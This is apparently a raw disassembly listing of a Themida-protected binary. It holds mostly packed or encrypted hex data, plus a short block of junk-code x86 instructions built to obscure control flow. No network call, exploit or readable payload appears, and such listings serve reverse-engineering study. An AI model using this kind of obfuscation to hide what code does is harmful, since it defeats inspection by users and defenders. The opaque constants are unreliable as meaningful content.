		dd 0AAA08781h, 39E12388h, 5EB0E813h, 0C087D01Fh, 0A567BA6h
		dd 8888C2DDh, 355BE123h, 16621DFDh, 91E508CFh, 1D559CE8h
		dd 1E6EADFFh, 6EABACD7h, 7DE75AA0h, 91B98C57h, 8B423984h
		dd 5029Ch, 0DA2D7300h, 0A7F03FFAh, 7ABF0CC7h, 498EDF9Ah
		dd 195CAE69h, 4B68E39h,	0D48F6FB2h, 0A5604089h,	732E0E55h
		dd 7C00E027h, 5F4F7B96h, 0EF1CE71Fh, 1445BFBh, 4A030000h
		dd 51A0BC0Bh, 0EF09D008h, 3F1569C4h, 4190CF21h,	0F7CCCDF8h
		dd 17E76059h, 3A458CD8h, 9D78A3EAh, 0B8075977h,	1BBE8945h
		dd 9CECF766h, 49748E55h, 0B191D824h, 9C63AAF6h,	314F2579h
		dd 0D54A0DFh, 1F292426h, 0E72C7DE7h, 1F450620h,	0C5A1BCF4h
		dd 0EE15CBCh, 3F8BCAE8h, 115D18F8h, 3F5AACCAh, 0E123A50Bh
		dd 39FA438Eh, 707E813h,	7C8F87B8h, 9342658h, 66845AAEh
		dd 5A4C8E4Bh, 0ECB7DDE7h, 39847D63h, 4076651Ch,	0B1000004h
		dd 7D38186Bh, 4A05E52Eh, 1DD8B8FDh, 0ECA787CCh,	0CC77579Ah
		dd 0ADF042F4h, 7EC712CDh, 4C93E39Eh, 1E65B16Ch,	0B9D4BA3Eh
		dd 0E71F5891h, 5D312552h, 303CA11h, 4FEAAAB4h, 32E34F6h
		dd 844B92DEh
		dd 73CFEDE3h, 70C2E027h, 23637555h, 145DACE1h, 0C30A5A53h
		dd 7FAAE2FCh, 3B4CE585h, 0E4363629h, 2A115AA5h,	0E1237720h
		dd 46929DC3h, 439AD4FFh, 68000000h, 0DFFDD327h,	5B1AA1C4h
		dd 132E3AE7h, 0E7148237h, 38568EB4h, 0AD84ACF9h, 84D9E82h
		dd 0FACC66EDh, 955CA3EFh, 0CC63437Bh, 0E714B383h, 8AA5D21Eh
		dd 0E714B340h, 0E5C5FD23h, 0D198DD2Ah, 38AE2h, 0D5D8A00h
		dd 0C0FFFFC6h, 0D8FD2871h, 0AA65458Ch, 6350175Eh, 0FFF0D017h
		dd 6AB302ABh, 335189A3h, 5AE51718h, 0DF306FE7h,	88946F9Ah
		dd 0D52F1B36h, 96BCE714h, 14D59BAFh, 0DB31EEE7h, 2719FBCAh
		dd 41084066h, 14172E78h, 7795A3E7h, 6063FB36h, 33853Ch
		dd 27530000h, 0C4DFFDD3h, 0E75AECDBh, 143651A3h, 0D7E714D3h
		dd 85AB86B1h, 0ED6FBEBEh, 6C74A484h, 723C3D68h,	67E71413h
		dd 37FA3B59h, 493C606Ch, 10Fh, 0CA115D17h, 5AB40303h, 0CBC0BF35h
		dd 7ACCF11Ch, 89DA1937h, 4B381944h, 4F1B8FFh, 0C39171B8h
		dd 0C1745671h, 5BADE123h, 76375118h, 5F242550h,	42E123DDh
		dd 3F91AFF6h, 23C22624h, 749FC5E1h, 1B6DAC7Ah, 3C88ADD8h
		dd 0B70B2EF5h, 0C2EAE0FBh, 5379E123h, 6EBEFD1Bh, 72C4FC27h
		dd 0D79EE133h, 0C28EBCD7h, 375DE123h, 0F6D3D4FFh, 75E75AF8h
		dd 0B1E9307Ch, 0D38CE0D1h, 3A5090E9h, 9CBAF2B8h, 6A15A681h
		dd 6987ADE1h, 0BA5DC11Ah, 8FBA7E2Eh, 76C60557h,	0BD1C2E49h
		dd 0A9CFE12Dh, 6590AA71h, 0AAC5EE40h, 0E12DBDA0h, 5E51D43h
		dd 95E2F84Ah, 22E9327Dh, 0CD98D008h, 3FBDB34Eh,	40716017h
		dd 0B1000002h, 7D38186Bh, 4A05E52Eh, 1DD8B8FDh,	0ECA787CCh
		dd 0CC77579Ah, 0ADF042F4h, 7EC712CDh, 4C93E39Eh, 1E65B16Ch
		dd 0B9D4BA3Eh, 0E71F5A91h, 4A312552h, 55A6BE0Bh, 0F711D810h
		dd 1255A7CCh, 0CBF4A5F4h, 0ADBBF305h, 81CD8882h, 27A85A3Ah
		dd 0A0DFFDD3h, 46460D54h, 23CC1F2Bh, 6EA6CCE1h,	87F00B43h
		dd 0ACE75AECh, 0C4166886h, 14D3A1A9h, 351C42E7h, 0E714D315h
		dd 7792B0D6h, 0E714D353h, 0DEBFEA10h, 0C539FDEh, 0FF002B45h
		dd 0E714D3B7h, 1FB3022Ah, 0B5D1FAD6h, 0FC9EACC7h, 274DE714h
		dd 88A6C4EFh, 5FBCEA47h, 0C2963Ch, 4A640000h, 0AD74BB0Bh
		dd 0F7436893h, 0AAFCE9B0h, 8AD7A067h, 8FE123D0h, 611CFC43h
		dd 0E407CE15h, 819CBA90h, 0E75AF548h, 4C106FBEh, 8504DBE9h
		dd 79597F5Ah, 405E3488h, 6ABD3525h, 8FAAB6E1h, 0E12DA5BBh
		dd 894A93DEh, 0CE0D2B63h, 8B59397Ch, 0C22C793Ch, 5D153075h
		dd 0CFF41FA3h, 26F0577Dh, 0E6F22F69h, 0E1195194h, 0BD530D16h
		dd 402FE63Fh, 123h, 1BFB4E94h, 0E8C81160h, 0BB9BE02Dh
		dd 8A6AAF00h, 5A3A7DCFh, 0D325D1AFh, 0AAF5B090h, 76C68161h
		dd 48944F2Fh, 0B79D2101h, 1F5BAE9Ch, 1C103DE7h,	0A5F50B5Dh
		dd 5F7D975Eh, 23CC0644h, 87BFE5E1h, 59A0ECA7h, 0FCCEE93Bh
		dd 6FE123CCh, 72241E49h, 47E7115Dh, 20473A59h, 2FA8A2BDh
		dd 153BE123h, 0F1DEA5DDh, 1405EA5h, 8AA46BB0h, 0C2ED327Fh
		dd 0DA83D7C8h, 637D4489h, 2F202A45h, 9DC3E123h,	0F2C4765h
		dd 7FE760BAh, 0A238122Dh, 85ABE71Fh, 0B7E22B7Ah, 2EFB6DCh
		dd 12516FB6h, 9FB980C5h, 6DAC7A74h, 87ACD71Ch, 0D7F30E3Bh
		dd 94E71FA2h, 0A25D6D88h, 0E80EE71Fh, 61B395B0h, 30CCB4AAh
		dd 996831F8h, 0BFFB19B8h, 756C5E3h, 0DF5D1Ah, 71BA09ECh
		dd 9DE90E39h, 0A7F93856h, 78839D64h, 0BDB7E227h, 1E63B0EFh
		dd 0ED123D57h, 0FD3C5AA1h, 593A65AEh, 0FD61B6Ch, 19759353h
		dd 85A6A3CDh, 33BDE953h, 0E4D1BFBh, 0A75F7AC3h,	51C69A38h
		dd 65277A2h, 1262A1BFh,	0D0BFA0CBh, 3, 5D362878h, 10FDC417h
		dd 0C9B67DC4h, 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh
		dd 5A470E53h, 1401C80Dh, 0C3B57CC5h, 815A5452h,	4C2h, 4EA8300h
		dd 5C241487h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	715Ch
		mov	[esp], eax
		push	ebp
		push	7F8F07E1h
		pop	ebp
		shl	ebp, 1
		shl	ebp, 3
		xchg	edx, ebp
		neg	edx
		xchg	edx, ebp
		add	ebp, 0FF2D0B88h
		mov	ecx, ebp
		pop	ebp
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, ecx
		push	ecx
		mov	ecx, 8
		add	ecx, eax
		mov	[ecx], esi
		pop	ecx
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		db 1, 83h, 0ABh
		dd 11B8C79Dh, 3063C99h,	40E0FFC5h, 0E317F206h, 0C216001Ah
		dd 0E878CDC0h, 0AF4058D7h, 0F959945Eh, 0EF03941Fh, 19779C6Bh
		dd 50143ABFh, 625F47B4h, 2C778B4Bh, 5F5BA233h, 8D1B5962h
		dd 3C9A968Dh, 12E806h, 91490000h, 68747169h, 5960002Eh
		dd 0F2B25FD4h, 588218EFh, 1E3D9D8Bh, 0E85E0637h, 0Bh, 0DA736421h
		dd 4F3FDBAFh, 66C99D8Dh, 8958F88Bh, 3718758Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0EB816692h, 85C761FFh, 6371195h, 642Ch, 7F1BD8Bh, 85C70637h
		dd 6370F81h, 0
		dd 0CE9h, 0C25EDC00h, 5A457ED5h, 0C56F2C92h, 0E1B5FF23h
		dd 8906371Ch, 371BA99Dh, 9195FF06h, 6A063712h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 8A2AC357h, 802926DFh, 6A72ECh, 321995FFh, 0C08B0637h
		dd 35CE79EBh, 2A15F094h, 0DCAF4555h, 0A0FF60B6h, 0FE6FDFC9h
		dd 734DA50Dh, 0D650AD6Dh, 64578BA8h, 38F48059h,	0DE6FBFDDh
		dd 7AE4E801h, 0D2F850EFh, 0BFFD9D19h, 8AEC0D4Fh, 0C500B961h
		dd 8426E09Eh, 0D0F20DCDh, 16EC3974h, 0EACE11F6h, 0FE4DBE6h
		dd 2FA0F5C0h, 0D85BD110h, 4AC2E5E8h, 582AA6C0h,	7100A50Eh
		dd 0E8E7074Dh, 5105E75Ah, 3D30DF44h, 65D6C7E9h,	23220E7Fh
		dd 8D246C19h, 3C9B888Dh, 0A5BD8906h, 8906370Fh,	3718758Dh
		dd 4FEB8106h, 6601EBA9h, 85C7FB8Bh, 6371195h, 600Ch, 33DA8166h
		dd 8185C745h, 6370Fh, 66000000h, 0FFF3AABEh, 37209DB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0C6816642h, 3B1140A0h, 129195FFh, 858B0637h
		dd 63711F1h, 95FF006Ah,	6373219h, 4EEBC08Bh, 0F53BC80Ah
		dd 0E9548529h, 46320148h, 483FFE11h, 33F63807h,	0E3F77EF7h
		dd 9D34BDABh, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h
		dd 9907CFBBh, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh,	30526748h
		dd 0E86448D6h, 0D3F28EB1h, 7266414Dh, 5CE9034Ch, 4F000001h
		dd 0FBF1B81Dh, 0AC97A049h, 0B50BB25Ah, 0BF52B954h, 300BBA54h
		dd 4E52B15Ah, 663B9A73h, 5752C826h, 43C5E827h, 80615C7Bh
		dd 9528FB4h, 0D052FE16h, 7C52FE17h, 3A52FE16h, 1F52FE16h
		dd 8F52FE16h, 0E852FE16h, 0E352FE16h, 0F952FE16h, 0F852FE16h
		dd 2F52FE16h, 5B268D6Fh, 4F72FE7Bh, 0EA319164h,	0C70F8D65h
		dd 0E352FE16h, 0F152FE16h, 0F852FE16h, 7C52FE16h, 3E52FE16h
		dd 1F52FE16h, 8F52FE16h, 0C752FE16h, 0E352FE16h, 0F152FE16h
		dd 0F852FE16h, 7C52FE16h, 3E52FE16h, 1F52FE16h,	8F52FE16h
		dd 0C752FE16h, 0E352FE16h, 0F152FE16h, 0F852FE16h, 7C52FE16h
		dd 3E52FE16h, 1F52FE16h, 8F52FE16h, 0C752FE16h,	0E352FE16h
		dd 0F152FE16h, 0F852FE16h, 7C52FE16h, 3E52FE16h, 1F52FE16h
		dd 8F52FE16h, 0C752FE16h, 0E352FE16h, 0F152FE16h, 0F852FE16h
		dd 7C52FE16h, 3E52FE16h, 1F52FE16h, 8F52FE16h, 0C752FE16h
		dd 0E352FE16h, 0F152FE16h, 0F852FE16h, 7C52FE16h, 3E52FE16h
		dd 1F52FE16h, 8F52FE16h, 0C752FE16h, 0E352FE16h, 0F152FE16h
		dd 0F852FE16h, 7C52FE16h, 3E52FE16h, 1F52FE16h,	8F52FE16h
		dd 0C752FE16h, 0E352FE16h, 0F152FE16h, 0F852FE16h, 7C52FE16h
		dd 3852FE16h, 0E9091480h, 17D1h, 3C9F4B68h, 0AC47E906h
		dd 5268FFFBh, 0E9063CA0h, 0FFFBAC3Dh, 3CA11368h, 0AC33E906h
		dd 1568FFFBh, 0E9063CA2h, 0FFFBAC29h, 3CA3BC68h, 0AC1FE906h
		dd 6E68FFFBh, 0E9063CA5h, 0FFFBAC15h, 3CA66468h, 0AC0BE906h
		dd 4E68FFFBh, 0E9063CA7h, 0FFFBAC01h, 3CA96268h, 0ABF7E906h
		dd 8468FFFBh, 0E9063CAAh, 0FFFBABEDh, 3CAB3568h, 0ABE3E906h
		dd 0E268FFFBh, 0E9063CABh, 0FFFBABD9h, 3CAD9768h, 0ABCFE906h
		dd 9568FFFBh, 0E9063CB2h, 0FFFBABC5h, 3CB38B68h, 0ABBBE906h
		dd 0CA53FFFBh, 7CA4FC35h, 0A6F04881h, 0E33A92CBh, 1689E11Ah
		dd 0E93E2C65h, 0DC15E639h, 2C651884h, 79B24FD4h, 0C700FD21h
		dd 842505Eh, 137BA9E8h,	0F42A0A65h, 3369E109h, 0E39206E8h
		dd 0A3F787A4h, 8483BDCBh, 0C39681E6h, 0B25C4B84h, 0AEE21660h
		dd 0E68566A0h, 0DC162481h, 0EF81E684h, 0DF47271Ch, 0F1A2E322h
		dd 0F4A4A49Eh, 0BFD43C59h, 90881D48h, 392F86BBh, 0B4F3AF3Eh
		dd 0E9FC3A8Ch, 0CBCD7BAEh, 43762ED7h, 65A8EFB2h, 4F000000h
		dd 0D2A3F62Ch, 0F9203DAAh, 0AFBD0715h, 881DA452h, 12489265h
		dd 1AADEC8Fh, 42E88D60h, 3F61DB03h
		db 3Eh,	0FFh
word_596AD2	dw 76E2h		; DATA XREF: Themida_:0053E9A4o
		dd 0A550C8FEh, 0B8C6107Dh, 7BAF237Eh, 39A1BE91h, 7BAF23FBh
		dd 2DD8CACCh, 0EFB28175h, 0E5A7h, 0D3E11500h, 7BAF1799h
		dd 4A9E9758h, 0AA9FF6EAh, 80A855CAh, 7C8AD413h,	7BAF3242h
		dd 85D7A4Dh, 0E109F42Ah, 1B433067h, 58807DA1h, 649EACE0h
		dd 2081E685h, 390C01FCh, 6B168C1Ch, 898F0232h, 55C981E6h
		dd 5B335EA8h, 0E09D0314h, 0A00A4BB8h, 3C735391h, 2AE17526h
		dd 0F951CEEBh, 9FB0D8A5h, 7B76A06Fh, 0E7E4F23Ch, 0F8881D36h
		dd 11FDEC25h, 12B0EAF8h, 0DDBB7BAFh, 0AF1295CFh, 96D5A87Bh
		dd 0CDFF0D57h, 0E081E8C3h, 898C30Dh, 39B2BBB1h,	86BC4A67h
		dd 0D1296213h, 0E25EAD4Eh, 780CF75Eh, 150E215Ch, 0BEDF0000h
		dd 0E83088C1h, 2A7CD40Dh, 57C61E57h, 82156DA6h,	5DCAB8F1h
		dd 68A152C5h, 0B8F18C10h, 53E3B60h, 538C69ADh, 94CEDCEAh
		dd 0A77BA9E5h, 0F72A9EF9h, 20D56D04h, 0D8173962h, 26D3479Fh
		dd 7B93D0EDh, 83194F99h, 0A3CBA8EDh, 4CDAF736h,	1DA4E13Eh
		dd 8B1DF288h, 0ED27359Fh, 7BAEDAh, 0AEA0EC2Dh, 76EE1655h
		dd 0E9FA3442h, 32057BAEh, 0E9A0DAE8h, 0D8AB7BAEh, 0EA1553BBh
		dd 0E4E67BAEh, 478F47BEh, 0CEC1EFB2h, 68000000h, 0BF09F42Ah
		dd 5D3DAA94h, 0FFB2A3FFh, 2BEBB2F6h, 0D84461A0h, 0EA2D3B5Eh
		dd 2AA2CA09h, 0B2CFA2F4h, 0E66BD74Ah, 5E1D8181h, 899771EDh
		dd 81E5AD4Fh, 5246875Ah, 8FC8074Dh, 0CC16E337h,	36650396h
		dd 71B01D45h, 37D7E854h, 908D9BE5h, 23881CA3h, 0E6281750h
		dd 80B6EA34h, 0CA375F1Ah, 4D0245ADh, 5E581E8h, 4EBBE390h
		dd 88FC50Fh, 47DA326Bh,	99CF67B6h, 718D0CF7h, 140736h
		dd 0BA47D800h, 6F72981h, 502D75CDh, 9F5CBF17h, 0EA8B0E66h
		dd 0BC64C3B1h, 75F9865h, 57AFE895h, 0A4FC35C2h,	0E14A837Eh
		dd 0E48BC5D3h, 0F09E7BA9h, 6F72A95h, 0DA4177CDh, 0B1F08D14h
		dd 0C4D21C89h, 81E6848Ah, 15A5C295h, 65BBF481h,	0F310ED2Fh
		dd 9F42A9Eh, 463367E1h,	906DB50Dh, 0CDA8EE68h, 21035094h
		dd 1FC22EDh, 0E32D6CD9h, 1DA750D5h, 35401388h, 39946CA9h
		dd 9F7D9173h, 7A464755h, 49299660h, 91FE26D7h, 0F5192A52h
		dd 9BCFDD27h, 0AA9096DBh, 0C3578DD7h, 0AFE9F72Bh, 0BA90361Bh
		dd 1B89C3E7h, 0C1949036h, 0C8F34982h, 0D9037B50h, 0E1718E12h
		dd 0E371C0BDh, 81FE9985h, 13462A65h, 86170000h,	3068C0F9h
		dd 62B40C45h, 9FFE568Fh, 0CA4DA5DEh, 2502F029h,	0A0D99AFDh
		dd 0F029D448h, 3D760398h, 8BC4B1E5h, 0CC061422h, 0DF7BA9E3h
		dd 0F62CD631h, 3EABD3A2h, 700D9121h, 45D73748h,	9224EDFBh
		dd 0E4B7881Dh, 0FD1F55ABh, 6EA8B600h, 817BAF78h, 9D0191AEh
		dd 0C40B8E0h, 0CBBE18E1h, 0CCF0663Bh, 7BAEA092h, 0FD25D046h
		dd 0ABC89B90h, 3E888A84h, 0EB3CF230h, 0E8320581h, 47916CB2h
		dd 0D9E78B11h, 81DB0C9Fh, 4E98D7AAh, 0DB0D0640h, 29461981h
		dd 33CE54ACh, 414FA0Bh,	0DD5A622h, 3983C2C8h, 100D5D0Eh
		dd 77A9B601h, 9C2A4786h, 178D308Eh, 97A58388h, 7BAF765Dh
		dd 0CD519D70h, 71A7F130h, 0A12F4C21h, 114A376Bh, 4E9865B9h
		dd 0EC473923h, 0E1FEE549h, 5BAA6475h, 961038C5h, 0F7367500h
		dd 37D69FADh, 340981E6h, 0AEEE3446h, 0F93AA7CFh, 0F332CF7Dh
		dd 0E9C9A6A4h, 0ED28440Ch, 1244h, 0BEF78415h, 0A433266h
		dd 548D60B2h, 0A3DCA1FCh, 0EE27D44Bh, 0A0F72700h, 0DA429AD3h
		dd 0D92EA23h, 0BBDF3770h, 0E1C85BEh, 0A9E2C600h, 0D02BD97Bh
		dd 0CD06F72Ah, 3F734C77h, 93CFE026h, 6CADC5F8h,	9FEB8436h
		dd 0EB58807Dh, 0B567A7CEh, 0DFB05D6Bh, 0D0A3881Ch, 0BE82EA8h
		dd 0C98FA7DCh, 7A917CFBh, 0D4140546h, 0F9518AC9h, 9FB0D8A5h
		dd 3863AD6Fh, 94EDD9Bh,	13A1BE5Ah, 0E5B47805h, 70986B81h
		dd 4B782AEAh, 0FEFF1DD7h, 53086BFh, 334A7F97h, 0A4CBE8BCh
		dd 2A5EA86Ah, 0E5F6E21Ch, 0FD1AED81h, 6B103B6Fh, 0C5C11E91h
		dd 44F15976h, 57881D21h, 0D80F3A84h, 98778B45h,	2BA30F2Ch
		dd 0B5D2A3F5h, 0DC04F125h, 25333F62h, 7BAED2EBh, 0C4EC2BFEh
		dd 28D54Ah, 28D54793h, 475BD900h, 0A365787h, 6BAA72F5h
		dd 7EAEF472h, 2F697790h, 3A7BAEAEh, 0D0DE2867h,	81E5CE23h
		dd 0D0286134h, 0C18AD4Ah, 8444CFCBh
dword_596F68	dd 8DCB1D45h, 9F81E68Fh, 23BD98C3h, 0FF403D65h,	708DC9D8h
					; DATA XREF: Themida_:00548490o
		dd 0C75B683Ah, 0F2503F38h, 0ED2CA177h, 2EC65CB4h, 0DC9101EFh
		dd 0E00847B4h, 0FB0C3473h, 0A9B70113h, 881CF524h, 0C2BFE7C7h
		dd 6A064A83h, 307A9876h, 6DE4D1FCh, 9F3AF797h, 0EB58807Dh
		dd 0F1278FACh, 9F81EC11h, 22D86F74h, 0F10E6059h, 26DAE5B8h
		dd 69CCF7F3h, 0A3391C1Bh, 0DD90CAEEh, 0C89B81DAh, 0D10F6189h
		dd 0F681DADDh, 0A2B0FA18h, 88177A4Ch, 4E82CC9Fh, 0DAF78218h
		dd 0F029D44Ah, 4F770298h, 62B142D5h, 13208AB6h,	9D3D7894h
		dd 6E000010h, 0BF17502Dh, 0B639C59h, 55ADE69Bh,	0A4FC35C6h
		dd 5947807Dh, 32C356CEh, 827BA1F9h, 0CFACF149h,	1DD83E96h
		dd 5F6D7BE4h, 7BA9E225h, 2C2F8A38h, 0B9D6A7F6h,	0CC05F629h
		dd 27494B76h, 9962EFFCh, 0E59E518Bh, 4A895C81h,	71799D2Dh
		dd 0F61AE73Bh, 81E59DBCh, 95BDFCCFh, 0D2FA871Bh, 0D35C058h
		dd 48700D93h, 30A002C2h, 0D7ECB63Ah, 639DAB43h,	7681E59Eh
		dd 0EF1A64A3h, 45AD3CFAh, 60DDFADDh, 0E975924Ah, 1C5C4F5h
		dd 0FC320000h, 43B0D8A5h, 0F42AD126h, 3367E109h, 0F01E0D46h
		dd 0B7F68715h, 9E4A5F6Dh, 92C8881Dh, 0D9466E0Fh, 0E4AE83BCh
		dd 0B5979724h, 93E50D4Ch, 7BAEF155h, 296CC26h, 0C1DE4B73h
		dd 36EE178Bh, 68EFB24Ah, 40h, 997B930Fh, 0D9E71B4Fh, 81E6849Fh
		dd 79B3D7AAh, 8481E684h, 0B005FDAFh, 66A5DEF0h,	50ADBB49h
		dd 63881D39h, 0D8166890h, 0A97BAF10h, 94CAFBA7h, 0DF4C7409h
		dd 6EBC74C2h, 0EBEEEFB2h, 95000000h, 0E109F42Ah, 0D383067h
		dd 1B92D6DFh, 72ACD011h, 2881E64Ch, 0E64BE01Ah,	2318EB81h
		dd 0FC24D943h, 0C711508Fh, 516E0F91h, 0CE426DE5h, 0CE5D81B3h
		dd 3165F512h, 6EA41C44h, 0B8254D28h, 0EA970B9Bh, 245E6CA0h
		dd 0E081E609h, 2693BBB6h, 0C4415E31h, 0E60E2194h, 0F8235981h
		dd 0C056E603h, 10DFC35h, 0F6BBC913h, 0A4881FBAh, 5DCAAA79h
		dd 415E42A9h, 0B5EB3508h, 11479162h, 71A1ED8Eh,	0CAE7547Ch
		dd 98C3F74Dh, 0FCC5F712h, 538DB143h, 667BAD7Fh,	0B3E67693h
		dd 54BB73C2h, 85A11322h, 0EEB4Ah, 9E63BC00h, 0EA8B0D65h
		dd 34C959B1h, 8378A3FBh, 0CEAFF24Ah, 0A080A795h, 0EB437C79h
		dd 3B93CCB1h, 88E019E6h, 0C52E6712h, 0E06FA9B7h, 0CC7A7BA9h
		dd 66012C71h, 68161945h, 0FB1EAECBh, 99B8E6F8h,	61A0D2EBh
		dd 0AF4AD028h, 0F42A5976h, 3E69E109h, 1C0FC65Ch, 24B4D11Eh
		dd 74CA03FEh, 32BE7F49h, 1734E77Fh, 3E661387h, 4A8492C6h
		dd 5581E622h, 0D03E6582h, 0E1EAF842h, 35881D3Bh, 0C1DE9BFFh
		dd 356BB588h, 0EEBD12E1h, 0C7CD1270h, 0D5EE6B88h, 850h
		dd 0ABE5F327h, 0BE7BAF07h, 2A79CEEBh, 8CDE06F7h, 81E6854Eh
		dd 0CF779B73h, 92E68247h, 0DE125C9Bh, 0E5CD96D0h, 0B9D6A981h
		dd 69CF1D2Bh, 2F028822h, 8E6BAFE5h, 0EF8E0E44h,	99FD55D2h
		dd 63CB4DCh, 4CB9E19Ch,	79789F2Fh, 3C910CDEh, 99A7F12Eh
		dd 7BAA695Fh, 958976Ah,	13256A23h, 0F5AAE501h, 0C600000Dh
		dd 176FA855h, 63BBF481h, 0AD053E33h, 0FC548D6Eh, 0B19FD8A5h
		dd 8A6BAE76h, 0DAA3F951h, 27D449A1h, 750096EEh,	0B7C5D33Ch
		dd 7BA9DE7Dh, 2A87E290h, 75CD06F7h, 0A7A55221h,	0E19A2C58h
		dd 9A007AA2h, 0ABE603DDh, 0F15E867Bh, 0D3841EB0h, 0A0F26C94h
		dd 0F52BA5CDh, 3BB9E008h, 97736967h, 0E7212F63h, 0F281E5BEh
		dd 0BEC1FB1Fh, 0F9CC81E5h, 0C7FCA6DCh, 576DA653h, 0F5E91C9Fh
		dd 2AD1h, 0F82C7800h, 0E684B0EAh, 15E6BB81h, 4D41C8D3h
		dd 329AB7F6h, 81E5922Eh, 2F77ADF7h, 0E821152h, 9C45435h
		dd 0FD449BECh, 5226FFFFh, 81E68514h, 56909ED2h,	6981E685h
		dd 0BC527996h, 0C006145Eh, 23882320h, 4AD00650h, 0EA5C96A4h
		dd 85187BA9h, 0FF2303F8h, 2E6DDA02h, 385EB6EFh,	49B153Dh
		dd 0E85A2877h, 6C881325h, 0D0B31h, 0BE43DC00h, 0AEB2D85h
		dd 542979D1h, 0A358C31Bh, 0EE8F126Ah, 0C060C7B5h, 0B639C59h
		dd 5BB3EC91h, 0A80039C6h, 0E54E8772h, 0DD8FC9D7h, 0EC9A7BA9h
		dd 0A6F62C91h, 2542AFD7h, 2A740195h, 0A15CC0F6h, 0E685437Dh
		dd 66835681h, 5F1A80FAh, 138F1337h, 458F6AB0h, 84C90311h
		dd 1D481E6h, 856FA9B7h,	0A77A81E6h, 3FF70D8Ah, 71F5E9E2h
		dd 17h,	8F4E5218h, 0CAD781E6h, 0FFFFFC86h, 0A0DAE81Ch
		dd 0AB81E67Ah, 2C66BBD8h, 0BA6B0701h, 0FD1A8165h, 90DA38D6h
		dd 7F6265Ch, 0C4E182EAh, 0EACA881Ch, 628AC9B4h,	0AEC3D310h
		dd 2A0A27Bh, 0B21D4B03h, 1DC7DEFh, 52240000h, 81E68544h
		dd 0C25878CDh, 70A6FE37h, 350B5D85h, 5581E685h,	60B60D95h
		dd 0D2065C95h, 0E6848AC4h, 0A5C29581h, 5B83917Eh, 6D7BAFE3h
		dd 81E68533h, 154F7346h, 2881E685h, 0EA930955h,	0A83855C2h
		dd 0F64E8772h, 558BD5A0h, 0AC1835C6h, 0E6858C5Ah, 0E39E0881h
		dd 21DA41BBh, 158D99F9h, 208284BBh, 0E9DE2DE5h,	1705FF5h
		dd 2A060000h, 67E109F4h, 15E63933h, 0B242FFD4h,	0C706AE51h
		dd 0AD6F9F8Eh, 2405563h, 3003881Dh, 0C85A9008h,	72B01835h
		dd 437BAEFFh, 0ECA46141h, 1EEFB259h, 59h, 997B93C5h, 828E244Fh
		dd 0CA631741h, 0D0CB6718h, 546853Dh, 17A828F5h,	21AFCC7Dh
		dd 1CD7B613h, 0E360988h, 0AEB27EBCh, 0CAF54F7Bh, 515FA1B5h
		dd 7BAEDD17h, 90E4F22h,	0BA66BC7Eh, 6F70BA19h, 0C5DD1330h
		dd 0A756CA00h, 1139C65Bh, 813987A4h, 0B3EFB209h, 0BAh
		dd 9F42A5Ah, 433067E1h,	2A6DA31Bh, 97B42149h, 0BEE69307h
		dd 0F08D1046h, 0AE3E5BC8h, 24548D68h, 81E69D39h, 0F52ECB4Fh
		dd 4932699Fh, 7097B421h, 0FE327C9Eh, 58B2A5D3h,	234BE098h
		dd 8BF7D6CCh, 0E8506DACh, 881F7523h, 71A7F1C4h,	3D0B4B2Eh
		dd 0D5CC20BEh, 92055D96h, 0CBFE92E1h, 0C0DC1322h, 0AF785h
		dd 0AA57C800h, 0F6871971h, 403D65BDh, 8F6CAF07h, 0DA9BFE56h
		dd 0AC74B3A1h, 0F74F8875h, 479FD8A5h, 94EC25D2h, 0D13A730Eh
		dd 0DB7BB5C3h, 0E08E7BA9h, 6F72A85h, 542175CDh,	0A949D40Ah
		dd 0E685619Bh, 5A996C81h, 6D7BC532h, 81E68533h,	0D9567346h
		dd 29CA4D83h, 0F82CB70Ch, 847CB6C4h, 0BC8F81E6h, 0E6855E98h
		dd 819E7181h, 0A8D0ADF1h, 0F402E82Eh, 81E684BAh, 7AB3F2C5h
		dd 47361h, 713EEC00h, 73BD5FAFh, 0C38B143Fh, 7F06CA3Eh
		dd 0DDC5FA62h, 0F3C68822h, 2D6775A9h, 0E97BA9A6h, 329FC7B4h
		dd 0FE4D6A3Dh, 0F481164Ch, 0B15EB0D7h, 0A9A669A3h, 62A1747Bh
		dd 0AF290A18h, 0AF8281E0h, 45D90F87h, 6663B3B6h, 5B9A49E5h
		dd 41A9C633h, 81DB8503h, 35D0D2D4h, 0F5DEDE7Dh,	3DBAFh
		dd 14525600h, 0D281E685h, 0AB08F8A7h, 9524D971h, 0C6094A66h
		dd 49246E22h, 5685ED0Ah, 6B81E65Eh, 0FC2771A3h,	2E3C5392h
		dd 81E58EF4h, 45F33407h, 4FDDFA38h, 1D8B6841h, 51A07388h
		dd 13205735h, 0D53C7793h, 0A6000009h, 0F74F8875h, 439BD4A1h
		dd 8DE51ED3h, 0DC346D0Eh, 917FB845h, 6A0B8E96h,	0BA43D931h
		dd 7F42981h, 552076CEh,	97A5B31Ch, 7BA9DB5Dh, 2A67C270h
		dd 8BBF09F4h, 0E685437Dh, 37835681h, 89F512EFh,	3A849678h
		dd 2320FA2Ch, 0E922F588h, 0A3F914FAh, 69A845CDh, 4B95D441h
		dd 0BCB1E117h, 0A20A2794h, 81E68574h, 144A9467h, 8CBCF588h
		dd 81E68676h, 7987828Bh, 81E6843Fh, 0FF38774Ah,	3E8875A7h
		dd 65AAB213h, 19904BDDh, 4CBCC4Fh, 0A1F54180h, 223FACD4h
		dd 1BE63CB6h, 0EE2CE2F3h, 485596A4h, 0C396881Dh, 208FF074h
		dd 93CEEA13h, 924h, 9ED7A4F5h, 0EA23D246h, 346D0092h, 83BC41DCh
		dd 0CE07F42Bh, 40D747E0h, 0FA227AB3h, 2D72CA03h, 5BBF1750h
